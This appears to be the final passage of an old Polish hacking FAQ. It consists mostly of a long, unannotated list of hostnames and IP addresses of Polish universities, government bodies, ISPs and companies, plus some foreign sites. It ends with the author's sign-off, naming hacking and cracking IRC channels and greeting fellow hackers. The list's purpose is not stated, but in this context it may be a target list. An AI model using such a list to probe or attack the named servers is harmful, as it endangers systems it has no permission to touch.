WWW.INTERMIK.TPNET.PL
WWW.UNI.OPOLE.PL
MATH.UNI.OPOLE.PL
WWW.RADIO.OPOLE.PL
WWW.WSI.OPOLE.PL
WWW.OPOLE.TPSA.PL
WWW.MIKO.PILA.PL
WWW.TPNET.PL
WWW.ENERGIA2000.ORG.PL
WWW.ZSZ-PLESZEW.KALISZ.PL
WWW.PLOCMAN.PL
WWW.CS.PUT.POZNAN.PL
WWW.AMU.EDU.PL
WWW.ASTRO.AMU.EDU.PL
WWW.MAN.POZNAN.PL
SWAN.AU.POZNAN.PL
WWW.CADENA.COM.PL
WWW.ENERGETYKA.POZN.COM
AMPAT.AMU.EDU.PL
WWW.ML.USOMS.POZNAN.PL
WWW.TUP.EDU.PL
RUBY.POZ.EDU.PL
WWW.PUT.POZNAN.PL
RUBY.POZ.EDU.PL
WWW.MT.PUT.POZNAN.PL
WWW.CS.PUT.POZNAN.PL
WWW.ET.PUT.POZNAN.PL
WWW.PUT.POZNAN.PL
WWW.ML.PUT.POZNAN.PL
WWW.HSTL6.PUT.POZNAN.PL
WWW.PROTEL.POZNAN.PL
WWW.RADIO-MERKURY.POZNAN.PL
WWW.POZMAN.EDU.PL
WWW.SYLABA.POZNAN.PL
WWW.POZNAN.TPSA.PL
WWW.EFP.POZNAN.PL
WWW.AE.POZNAN.PL
WWW.INTERNET-INFO.COM.PL
WWW.CZART.PULAWY.PL
WWW.IUNG.PULAWY.PL
WWW.PIWET.PULAWY.PL
WWW.ZEW.COM.PL
WWW.PULSAR.COM.PL
WWW.RADOM.TOP.PL
WWW.WSRP.SIEDLCE.PL
WWW.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.WSP.SLUPSK.PL
WWW.PLT.EDU.PL
WWW.BICOM.SLUPSK.PL
GIELDA-SAM.SLUPSK.PL
WWW.GROT.COM.PL
WWW.GROT.COM.PL
LINSTAR.ZSZ2.STARACHOWICE.PL
WWW.SUWALKI.TPSA.PL
WWW.SZCZECIN.PL
WWW.SZCZECIN.PL
WWW.EKON.AR.SZCZECIN.PL
WWW.INET.COM.PL
WWW.POCKET.COM.PL
WWW.PBKS.PL
WWW.TUNIV.SZCZECIN.PL
ARCADIA.TUNIV.SZCZECIN.PL
PLASTIC.TUNIV.SZCZECIN.PL
WWW.SZCZECIN.TPSA.PL
WWW.UBIQUE.COM.PL
WWW.UM.SZCZECIN.PL
WWW.TARNOBRZEG.TPSA.PL
WWW.I-LO.TARNOW.PL
WWW.IQNET.TARNOW.PL
WWW.WIOS.TARNOW.PL
WWW.TCIG.TARNOW.PL
MAIN.TOI.TARNOW.PL
WWW.UMT.TARNOW.IPL.NET
WSB.TOI.TARNOW.PL
WWW.ZETOSA.COM.PL
WWW.MAN.TORUN.PL
WWW.LOIV.TORUN.PL
WWW.XLO.TORUN.PL
WWW.ANKO.TORUN.PL
WWW.APATOR.TORUN.PL
WWW.PEC.TORUN.PL
WWW.GEOFIZYKA.TORUN.PL
WWW.INFOCOMP.TORUN.PL
LX.INFOMARKET.TORUN.PL
WWW.MALICKI-SG.TORUN.PL
WWW.NKJO.TORUN.PL
WWW.NCAC.TORUN.PL
WWW.CC.UNI.TORUN.PL
ALEX.BOA.UNI.TORUN.PL
CHEM.UNI.TORUN.PL
WWW.MAT.UNI.TORUN.PL
WWW.PHYS.UNI.TORUN.PL
WWW.PHYS.UNI.TORUN.PL
WWW.ASTRI.UNI.TORUN.PL
ERIS.PHYS.UNI.TORUN.PL
WWW.ASTRO.UNI.TORUN.PL
WWW.BIOL.UNI.TORUN.PL
WWW.PED.UNI.TORUN.PL
DWZ.RECT.UNI.TORUN.PL
WWW.TELEM.UNI.TORUN.PL
WWW.BOA.UNI.TORUN.PL
WWW.BU.UNI.TORUN.PL
WWW.TORUN.PDI.NET
WWW.MAN.TORUN.PL
WWW.TORUN.TPSA.PL
WWW.VINPOL.TORUN.PL
ZI.OSA.TORUN.PL
WWW.TAB-TRONIK.TELBANK.PL
SUNSITE.ICM.EDU.PL
WWW.ABCDATA.COM.PL
WWW.ABC-DC.COM.PL
WWW.CONTACT.WAW.PL
WWW.AGSMEDIA.COM.PL
VENUS.CI.UW.EDU.PL
WWW.PIP.COM.PL
WWW.ALTKOM.COM.PL
WWW.WONET.COM.PL
WWW.PROMISE.COM.PL
WWW.APPLE.COM.PL
ARCHIE.ICM.EDU.PL
WWW.MEDIANET.COM.PL
WWW.ATM.COM.PL
WWW.TELBANK.PL
WWW.BIZ.NET.PL
WWW.BMB.COM.PL
WWW.BOTAR.COM.PL
WWW.BRE-IB.COM.PL
WWW.BUSINESSMAN.COM.PL
WWW.IT.COM.PL
WWW.ATM.COM.PL
CEENET.NASK.ORG.PL
WWW.CIOP.WAW.PL
SUNSITE.ICM.EDU.PL
WWW.OEIIZK.WAW.PL
CIS.ORG.PL
CIS.ORG.PL
WWW.COMMED.PL
WWW.KBN.GOV.PL
WWW.COMNET.PL
WWW.COMP.WAW.PL
WWW.CSBI.WAW.PL
WWW.COFUND.ORG.PL
WWW.DAEWOO.COM.PL
WWW.DATACOM.COM.PL
WWW.DMBOS.COM.PL
WWW.UNIVCOMP.WAW.PL
WWW.ATM.COM.PL
WWW.BRE-IB.COM.PL
WWW.FONTEX.COM.PL
WWW.GAZETA.PL
WWW.GIGA.COM.PL
WWW.URM.GOV.PL
WWW.GRATIS.WAW.PL
WWW.HSN.COM.PL
WWW.PL.IBM.COM
WWW.DOBRESTRONY.COM.PL
INFOSEEK.ICM.EDU.PL
WWW.ITE.WAW.PL
WWW.ORGMASZ.WAW.PL
WWW.IPS.UW.EDU.PL
WWW.IL.WAW.PL
WWW.INTER.NET.PL
WWW.SECURITIES.COM.PL
WWW.ISP.COM.PL
WWW.IT.COM.PL
IDSSERV.WAW.IDS.EDU.PL
WWW.KNOLL.COM.PL
WWW.KSAP.WAW.PL
WWW.LUMENA.WAW.PL
WWW.MACROSOFT.WAW.PL
WWW.MEDIANET.COM.PL
WWW.ATM.COM.PL
WWW.MIT.GOV.PL
WWW.MSP.WAW.PL
WWW.MUSIC4U.COM.PL
WWW.NSC.NET.PL
NETFIND.ICM.EDU.PL
WWW.NFOSIGW.GOV.PL
WWW.NOVELL.COM.PL
WWW.OC.WAW.PL
WWW.OPTIMEDIA.COM.PL
WWW.OPTIMUM-MEDIA.COM.PL
WWW.OPTIMUS.WAW.PL
WWW.ORACLE.COM.PL
WWW.PAGI.PL
WWW.SEJM.GOV.PL
WWW.WAW.PDI.NET
WWW.PERYTNET.PL
WWW.POL.PL
WWW.POLBOX.COM.PL
WWW.PAIZ.GOV.PL
WWW.PSL.ORG.PL
WWW.PERYT.WAW.PL
WWW.PMC.COM.PL
ATOS.PSYCHPAN.WAW.PL
WWW.IBB.WAW.PL
WWW.IBIB.WAW.PL
WWW.IPIPAN.WAW.PL
INFO.IPPT.GOV.PL
YOGI.IPPT.GOV.PL
INFO.IGF.EDU.PL
WWW.IMPAN.GOV.PL
WWW.ICHF.EDU.PL
INFO.IFPAN.EDU.PL
WWW.NENCKI.GOV.PL
WWW.CAMK.EDU.PL
WWW.IBSPAN.WAW.PL
WWW.PGI.WAW.PL
WWW.PAP.WAW.PL
WWW.TVP.COM.PL
WWW.RADIO.COM.PL
WWW.RADIO.COM.PL
WWW.PSL.ORG.PL
WWW.POLSPARK.WAW.PL
WWW.PAGI.PL
WWW.PIAP.WAW.PL
WWW.PUBLICIS.COM.PL
WWW.QDNET.PL
WWW.XEROX.COM.PL
WWW.RANGELSOFT.COM
WWW.NASK.ORG.PL
TROLL.NASK.ORG.PL
WWW.SCIENTIFIC.COM.PL
WWW.SENAT.GOV.PL
WWW.SIMPLE.COM.PL
WWW.SOLIDEX.WAW.PL
INDIA.CYF.GOV.PL
SUNSITE.ICM.EDU.PL
WWW.SE.COM.PL
WWW.TCH.WAW.PL
WWW.NASK.ORG.PL
WWW.TG.COM.PL
WWW.WSUB.WAW.PL
WWW.UNIV.WAW.PL
WWW.ATM.COM.PL
SNSINFO.IFPAN.EDU.PL
WWW.SGGW.WAW.PL
WWW-RAK.SGGW.WAW.PL
WWW.WARMAN.ORG.PL
WWW.SGH.WAW.PL
WWW.PW.EDU.PL
WWW.ELKA.PW.EDU.PL
WWW.RIVIERA.PW.EDU.PL
BUBA.RIVIERA.PW.EDU.PL
WWW.CH.PW.EDU.PL
WWW.IEM.PW.EDU.PL
WWW.ICHIP.PW.EDU.PL
WWW.IL.PW.EDU.PL
WWW.ELKA.PW.EDU.PL
WWW.MEIL.PW.EDU.PL
OGG.II.PW.EDU.PL
IAIR.MP.PW.EDU.PL
WWW.IA.PW.EDU.PL
WWW.IF.PW.EDU.PL
VOLCANO.II.PW.EDU.PL
WWW.IPE.PW.EDU.PL
WWW.IIS.PW.EDU.PL
WWW.ITC.PW.EDU.PL
WWW.IM.PW.EDU.PL
WWW.IMIO.PW.EDU.PL
WWW.IRE.PW.EDU.PL
WWW.TELE.PW.EDU.PL
WWW.IT.PW.EDU.PL
WWW.BG.PW.EDU.PL
WWW.AMP.PW.EDU.PL
SP5PBE.RIVIERA.PW.EDU.PL
WWW.MEIL.PW.EDU.PL
WWW.IT.PW.EDU.PL
WWW.ASTROUW.EDU.PL
WWW.BOT.ASTROUW.EDU.PL
WWW.BOT.ASTROUW.EDU.PL
WWW.CHEM.UW.EDU.PL
PYTHON.CHEM.UW.EDU.PL
CIESIN.CI.UW.EDU.PL
MERCURY.CI.UW.EDU.PL
ZAA.MIMUW.EDU.PL
GRAB.MIMUW.EDU.PL
BULL.MIMUW.EDU.PL
ELEET.MIMUW.EDU.PL
HYDRA.MIMUW.EDU.PL
ALFA.MIMUW.EDU.PL
WWW.MIMUW.EDU.PL
ZLS.MIMUW.EDU.PL
ANDANTE.ISS.UW.EDU.PL
WWW.ICM.EDU.PL
PUMA.WZ.UW.EDU.PL
INFO.FUW.EDU.PL
SUNSOL.FUW.EDU.PL
148.81.145.21
WWW.WEBTRAVEL.COM.PL
WWWTECH.NET.PL
WWW.ZIGZAG.PL
WWW.REMUS.TOP.PL
ZSBIKMW.ZSBIKMW.WLOCL.PL
WWW.PWR.WROC.PL
WWW.KONGRES.WROC.PL
WWW.AE.WROC.PL
KSK-2.IIE.AE.WROC.PL
ETCETERA.IIE.AE.WROC.PL
MANAGER.AE.WROC.PL
WWW.AR.WROC.PL
WWW.AR.WROC.PL
OZI.AR.WROC.PL
WWW.GEO.AR.WROC.PL
BGAR.AR.WROC.PL
WWW.AWF.WROC.PL
WWW.CADBURY.COM.PL
WWW.ZALBIX.WROC.PL
WWW.EMIT.COM.PL
WWW.EFL.COM.PL
WWW.ORPHA.COM.PL
WWW.INCOM.WROC.PL
WWW.INFONET.WROC.PL
WWW.IASE.WROC.PL
WWW.IDS.UNI.WROC.PL
WWW.LMG.COM
WWW.MIKROZET.WROC.PL
WWW.NETSERVICE.COM.PL
IMMUNO.PAN.WROC.PL
WWW.INT.PAN.WROC.PL
WWW.POLMAX.COM.PL
WWW.UWOJ.WROC.PL
WWW.PWR.WROC.PL
SUN20.AC.PWR.WROC.PL
WWW.CI.PWR.WROC.PL
ALICJA.CI.PWR.WROC.PL
WWW.ARCH.PWR.WROC.PL
WWW.IIC.PWR.WROC.PL
WWW.ISTS.PWR.WROC.PL
WWW.IPEE.PWR.WROC.PL
WWW.ICT.PWR.WROC.PL
DIUNA.ICT.PWR.WROC.PL
WWW.IOZ.PWR.WROC.PL
WWW.IMMT.PWR.WROC.PL
WWW.IM.PWR.WROC.PL
WWW.CH.PWR.WROC.PL
IBM1.CH.PWR.WROC.PL
WWW.ITA.PWR.WROC.PL
WWW.BG.PWR.WROC.PL
WWW.WRO.TOP.PL
WWW.TETA.COM.PL
WWW.REJ.COM.PL
WWW.ASTRO.UNI.WROC.PL
WWW.CHEM.UNI.WROC.PL
WWW.II.UNI.WROC.PL
TEMPUS.II.UNI.WROC.PL
WWW.IFD.UNI.WROC.PL
WWW.MATH.UNI.WROC.PL
WWW.IFT.UNI.WROC.PL
WWW.BU.UNI.WROC.PL
WWW.PROREXIM.COM.PL
ZDO.WSSK.AM.WROC.PL
WWW.WCSS.WROC.PL
WWW.DOM.ZABRZE.PL
WWW.POWEN.ZABRZE.PL
WWW.PROGRES.ZABRZE.PL
WWW.ZAMOSC.POL.PL
WWW.LO4ZG.BPTNET.PL
WWW.MAX.COM.PL
WWW.WSP.ZGORA.PL
WWW.ZGORA.PL
WWW.IRIO.WSI.ZGORA.PL
WWW.IIE.WSI.ZGORA.PL
MAX.COM.PL
WWW.WSP.ZGORA.PL
WWW.WIMBP.ZGORA.PL
WWW.WBIS.WSI.ZGORA.PL
WWW.VICNET.NET.AU
LASERSPARK.ANU.EDU.AU
WWW.YUCC.YORKU.CA
FTN.NET
WWW.CAM.ORG
WWW.HUSARZ.COM
WWW.POLISH-BUS.COM
WWW.CAM.ORG
WWW.INFOPOL.COM
WWW.NETCOMTECH.MB.CA
WEB.ARCOS.ORG
WWW.POL-NET.COM
WWW.IONSYS.COM
VALIS.WORLDGATE.EDMONTON.AB.CA
WWW.EXECULINK.COM
WWW.NATALIA.COM
WWW.CAMPUSLIFE.UTORONTO.CA
WWW.MGL.CA
192.216.191.91
WWW.POLONIANET.COM
WWW.POLONIA-ONLINE.COM
OURWORLD.COMPUSERVE.COM
WWW.WATER-AND-FIRE.COM
WWW.PC-NOTRUF.DE
WWW.IS.IN-BERLIN.DE
WWW.INTERNET.GR
WWW2.GOL.COM
WWW.POLONIA.NL
HUIZEN.DDS.NL
WWW.IDG.NO
KPT.TELE.NTNU.NO
WWW.ALGONET.SE
WWW.NADA.KTH.SE
WWW.STRATH.AC.UK
WWW.ZEM.CO.UK
WWW.POLISHBUSINESS.CO.UK
SUN1.BHAM.AC.UK
WWW.INTAC.COM
WWW.BIZNET1.COM
WWW.CYBERDUDE.NET
WWW.MICROGRAFX.COM
WWW.PAN.NET
WWW.IDSONLINE.COM
WWW.ISISNET.COM
PONIECKI.BERKELEY.EDU
WWW.WWDIR.COM
WWW.WWDIR.COM
WWW.POLYEKO.COM
WWW.GEOCITIES.COM
WWW.GEOCITIES.COM
WWW.CENTRALEUROPE.COM
WWW.DNAI.COM
WWW.CONNACTIVITY.COM
WWW.POLHOME.COM
WWW.INGLOT.COM
WWW.POLISHPAGES.COM
BERNIANN.CLEVER.NET
WWW.NETPOL.COM
WWW.POLMART.COM
WWW.VIPROFIX.COM
WWW.WTINET.COM
WWW.EUROPOL.COM
WWW.BCONN.COM
WWW.MHV.NET
WWW.PERFEKT.NET
WWW.POLAND.NET
WWW.POLAND-BIZ.NET
WWW.SCN.ORG
WALDEN.MO.NET
WWW.W3.ORG
WWW.W3.ORG
To na tyle....
Jesli ktos uwaza ze FAQ ten jest do dupy, nie musi go czytac, jesli cos jest
niezrozumiale niech sie odwola do innych zrodel. Wielu rzeczy nie tlumaczylem
bo i po co jak jest to wytlumaczone gdzie indziej. W razie czego jestem
osiagalny pod >> stoned@friko4.onet.pl <<, lub na IRC (dalnet) na kanalach :
#hackingpl #crackpl, #haxors
Sorki za bledy, ale przy tej predkosci pisania...
Pozdrowienia dla :
Gothara, Cysa, G_U_L_U_M, 3mila, lizaka, Int19h, Gala^sa , RAVNa ,
Crashkillera, Sleida, Kleva, Negocjatora, i wielu innych znajomych ktorych
znam a teraz nie pamietam...( sorry jesli kogos pominelem )
disconnected...